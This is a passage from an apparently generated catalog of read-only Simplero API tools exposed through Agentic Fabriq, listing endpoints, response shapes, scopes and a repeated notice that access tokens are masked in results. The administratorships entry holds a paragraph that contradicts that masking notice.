contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/access_grants/{id}. Scopes: api. simplero_get_api_v2_actions (read) — List actions via GET /api/v2/actions. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/actions. Scopes: api. simplero_get_api_v2_actions_available (read) — List available actions for a target type via GET /api/v2/actions/available. Returns the action ids and titles available for a given target type. Target type is the model the action runs on (e.g. `Customer`, `Ticket`, `Deal`). Pass `automation: true` to filter to actions that can run inside automations/triggers. Use this together with `GET actions/detail` to discover the typed `args` schema for each action before creating or updating an Action. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/actions/available. Scopes: api. simplero_get_api_v2_actions_by_id (read) — Get a action via GET /api/v2/actions/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/actions/{id}. Scopes: api. simplero_get_api_v2_actions_detail (read) — Get the typed args schema for an action via GET /api/v2/actions/detail. Returns the typed `args` schema for a fully qualified action id, e.g. `Customer-library_mailing`. Use this to learn what to pass in the `args` field when creating or updating an Action. Duration args are surfaced as their underlying `_count` / `_unit` / `_sign` / `_seconds` sub-args, not as a single `duration` type. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/actions/detail. Scopes: api. simplero_get_api_v2_administratorships (read) — List administrators via GET /api/v2/administratorships. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. Returns each administrator's Simplero user record, which includes that user's `token`. MEASURED 2026-09-23: that value is NOT an API credential -- sending it as `X-API-Key` answers 401 'Bad API key'. Simplero uses `token` as a public, URL-safe record id on 38 of its models (two of them spell the purpose out: `stealme_token`, `freebie_token`), so it is not redacted here. GET /api/v1/simplero/api/v2/administratorships. Scopes: api. simplero_get_api_v2_administratorships_by_id (read) — Get a administrator via GET /api/v2/administratorships/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/administratorships/{id}. Scopes: api. simplero_get_api_v2_affiliate_programs (read) — List affiliate programs via GET /api/v2/affiliate_programs. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/affiliate_programs. Scopes: api. simplero_get_api_v2_affiliate_programs_by_id (read) — Get a affiliate program via GET /api/v2/affiliate_programs/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/affiliate_programs/{id}. Scopes: api. simplero_get_api_v2_affiliates (read) — List affiliates via GET /api/v2/affiliates. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/affiliates. Scopes: api. simplero_get_api_v2_affiliates_by_id (read) — Get a affiliate via GET /api/v2/affiliates/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/affiliates/{id}. Scopes: api. simplero_get_api_v2_agentic_workflow_files (read) — List agentic workflow files via GET /api/v2/agentic_workflow_files. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/agentic_workflow_files. Scopes: api. simplero_get_api_v2_agentic_workflow_files_by_id (read) — Get a agentic workflow file via GET /api/v2/agentic_workflow_files/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/agentic_workflow_files/{id}. Scopes: api. simplero_get_api_v2_agentic_workflow_runs (read) — List agentic workflow runs via GET /api/v2/agentic_workflow_runs. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/agentic_workflow_runs. Scopes: api. simplero_get_api_v2_agentic_workflow_runs_by_id (read) — Get a agentic workflow run via GET /api/v2/agentic_workflow_runs/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/agentic_workflow_runs/{id}. Scopes: api. simplero_get_api_v2_agentic_workflow_runs_by_id_activity (read) — Read a run's activity log via GET /api/v2/agentic_workflow_runs/{id}/activity. Everything the agent has narrated, most recent last, as it now stands. This is a window onto the work rather than part of it: the log is bounded, so a long run's oldest turns are dropped. `kind` says how to read a turn — `agent` is the agent's own narration, `tool` is a one-line label of something it did, and `user` is a message that was sent to the run. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/agentic_workflow_runs/{id}/activity. Scopes: api. simplero_get_api_v2_agentic_workflows (read) — List agentic workflows via GET /api/v2/agentic_workflows. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/agentic_workflows. Scopes: api. simplero_get_api_v2_agentic_workflows_by_id (read) — Get a agentic workflow via GET /api/v2/agentic_workflows/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/agentic_workflows/{id}. Scopes: api. simplero_get_api_v2_alternative_prices (read) — List alternative prices via GET /api/v2/alternative_prices. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/alternative_prices. Scopes: api. simplero_get_api_v2_alternative_prices_by_id (read) — Get a alternative price via GET /api/v2/alternative_prices/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/alternative_prices/{id}. Scopes: api. simplero_get_api_v2_assets (read) — List media files via GET /api/v2/assets. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/assets. Scopes: api. simplero_get_api_v2_assets_by_id (read) — Get a media file via GET /api/v2/assets/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/assets/{id}. Scopes: api. simplero_get_api_v2_assets_by_id_scaled_url (read) — Get a scaled image URL via GET /api/v2/assets/{id}/scaled_url. Generates a URL for a scaled version of an image asset at the given dimensions. At least one of `width` or `height` must be provided. When both are given, `constrain` determines how the image is fit into the box. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/assets/{id}/scaled_url. Scopes: api. simplero_get_api_v2_attachments (read) — List attachments via GET /api/v2/attachments. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/attachments. Scopes: api. simplero_get_api_v2_attachments_by_id (read) — Get a attachment via GET /api/v2/attachments/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/attachments/{id}. Scopes: api. simplero_get_api_v2_automations (read) — List automations via GET /api/v2/automations. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/automations. Scopes: api. simplero_get_api_v2_automations_by_id (read) — Get a automation via GET /api/v2/automations/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/automations/{id}. Scopes: api. simplero_get_api_v2_availabilities (read) — List availability presets via GET /api/v2/availabilities. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/availabilities. Scopes: api. simplero_get_api_v2_availabilities_by_id (read) — Get a availability preset via GET /api/v2/availabilities/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/availabilities/{id}. Scopes: api. simplero_get_api_v2_blog_posts (read) — List blog posts via GET /api/v2/blog_posts. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/blog_posts. Scopes: api. simplero_get_api_v2_blog_posts_by_id (read) — Get a blog post via GET /api/v2/blog_posts/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/blog_posts/{id}. Scopes: api. simplero_get_api_v2_bot_sources (read) — List sources via GET /api/v2/bot_sources. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/bot_sources. Scopes: api. simplero_get_api_v2_bot_sources_by_id (read) — Get a source via GET /api/v2/bot_sources/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/bot_sources/{id}. Scopes: api. simplero_get_api_v2_bot_tiers (read) — List bot tiers via GET /api/v2/bot_tiers. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/bot_tiers. Scopes: api. simplero_get_api_v2_bot_tiers_by_id (read) — Get a bot tier via GET /api/v2/bot_tiers/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/bot_tiers/{id}. Scopes: api. simplero_get_api_v2_bots (read) — List bots via GET /api/v2/bots. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/bots. Scopes: api. simplero_get_api_v2_bots_by_id (read) — Get a bot via GET /api/v2/bots/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/bots/{id}. Scopes: api. simplero_get_api_v2_broadcasts (read) — List email broadcasts via GET /api/v2/broadcasts. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/broadcasts. Scopes: api. simplero_get_api_v2_broadcasts_by_id (read) — Get a email broadcast via GET /api/v2/broadcasts/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/broadcasts/{id}. Scopes: api. simplero_get_api_v2_charges (read) — List charges via GET /api/v2/charges. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/charges. Scopes: api. simplero_get_api_v2_charges_by_id (read) — Get a charge via GET /api/v2/charges/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/charges/{id}. Scopes: api. simplero_get_api_v2_chat_bot_conversations (read) — List conversations via GET /api/v2/chat_bot_conversations. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/chat_bot_conversations. Scopes: api. simplero_get_api_v2_chat_bot_conversations_by_id (read) — Get a conversation via GET /api/v2/chat_bot_conversations/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/chat_bot_conversations/{id}. Scopes: api. simplero_get_api_v2_chat_bot_messages (read) — List messages via GET /api/v2/chat_bot_messages. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/chat_bot_messages. Scopes: api. simplero_get_api_v2_chat_bot_messages_by_id (read) — Get a message via GET /api/v2/chat_bot_messages/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/chat_bot_messages/{id}. Scopes: api. simplero_get_api_v2_chat_bot_opening_messages (read) — List opening messages via GET /api/v2/chat_bot_opening_messages. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/chat_bot_opening_messages. Scopes: api. simplero_get_api_v2_chat_bot_opening_messages_by_id (read) — Get a opening message via GET /api/v2/chat_bot_opening_messages/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/chat_bot_opening_messages/{id}. Scopes: api. simplero_get_api_v2_countdown_instances (read) — List countdown instances via GET /api/v2/countdown_instances. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/countdown_instances. Scopes: api. simplero_get_api_v2_countdown_instances_by_id (read) — Get a countdown instance via GET /api/v2/countdown_instances/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/countdown_instances/{id}. Scopes: api. simplero_get_api_v2_countdown_timers (read) — List countdown timers via GET /api/v2/countdown_timers. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/countdown_timers. Scopes: api. simplero_get_api_v2_countdown_timers_by_id (read) — Get a countdown timer via GET /api/v2/countdown_timers/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/countdown_timers/{id}. Scopes: api. simplero_get_api_v2_coupons (read) — List coupons via GET /api/v2/coupons. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/coupons. Scopes: api. simplero_get_api_v2_coupons_by_id (read) — Get a coupon via GET /api/v2/coupons/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/coupons/{id}. Scopes: api. simplero_get_api_v2_course_lesson_completions (read) — List course lesson completions via GET /api/v2/course_lesson_completions. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/course_lesson_completions. Scopes: api. simplero_get_api_v2_course_lesson_completions_by_id (read) — Get a course lesson completion via GET /api/v2/course_lesson_completions/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/course_lesson_completions/{id}. Scopes: api. simplero_get_api_v2_course_lessons (read) — List lessons via GET /api/v2/course_lessons. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/course_lessons. Scopes: api. simplero_get_api_v2_course_lessons_by_id (read) — Get a lesson via GET /api/v2/course_lessons/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/course_lessons/{id}. Scopes: api. simplero_get_api_v2_course_modules (read) — List modules via GET /api/v2/course_modules. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/course_modules. Scopes: api. simplero_get_api_v2_course_modules_by_id (read) — Get a module via GET /api/v2/course_modules/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/course_modules/{id}. Scopes: api. simplero_get_api_v2_courses (read) — List courses via GET /api/v2/courses. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/courses. Scopes: api. simplero_get_api_v2_courses_by_id (read) — Get a course via GET /api/v2/courses/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/courses/{id}. Scopes: api. simplero_get_api_v2_credits (read) — List credits via GET /api/v2/credits. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/credits. Scopes: api. simplero_get_api_v2_credits_by_id (read) — Get a credit via GET /api/v2/credits/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/credits/{id}. Scopes: api. simplero_get_api_v2_custom_domains (read) — List custom domains via GET /api/v2/custom_domains. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/custom_domains. Scopes: api. simplero_get_api_v2_custom_domains_by_id (read) — Get a custom domain via GET /api/v2/custom_domains/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/custom_domains/{id}. Scopes: api. simplero_get_api_v2_customer_notes (read) — List notes via GET /api/v2/customer_notes. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/customer_notes. Scopes: api. simplero_get_api_v2_customer_notes_by_id (read) — Get a note via GET /api/v2/customer_notes/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/customer_notes/{id}. Scopes: api. simplero_get_api_v2_customers (read) — List contacts via GET /api/v2/customers. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/customers. Scopes: api. simplero_get_api_v2_customers_by_id (read) — Get a contact via GET /api/v2/customers/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/customers/{id}. Scopes: api. simplero_get_api_v2_deals (read) — List deals via GET /api/v2/deals. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/deals. Scopes: api. simplero_get_api_v2_deals_by_id (read) — Get a deal via GET /api/v2/deals/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/deals/{id}. Scopes: api. simplero_get_api_v2_event_occurrence_participants (read) — List event participants via GET /api/v2/event_occurrence_participants. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/event_occurrence_participants. Scopes: api. simplero_get_api_v2_event_occurrence_participants_by_id (read) — Get a event participant via GET /api/v2/event_occurrence_participants/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/event_occurrence_participants/{id}. Scopes: api. simplero_get_api_v2_event_occurrences (read) — List event occurrences via GET /api/v2/event_occurrences. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/event_occurrences. Scopes: api. simplero_get_api_v2_event_occurrences_by_id (read) — Get a event occurrence via GET /api/v2/event_occurrences/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/event_occurrences/{id}. Scopes: api. simplero_get_api_v2_events (read) — List events via GET /api/v2/events. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/events. Scopes: api. simplero_get_api_v2_events_by_id (read) — Get a event via GET /api/v2/events/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/events/{id}. Scopes: api. simplero_get_api_v2_facet_values (read) — List facet values via GET /api/v2/facet_values. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/facet_values. Scopes: api. simplero_get_api_v2_facet_values_by_id (read) — Get a facet value via GET 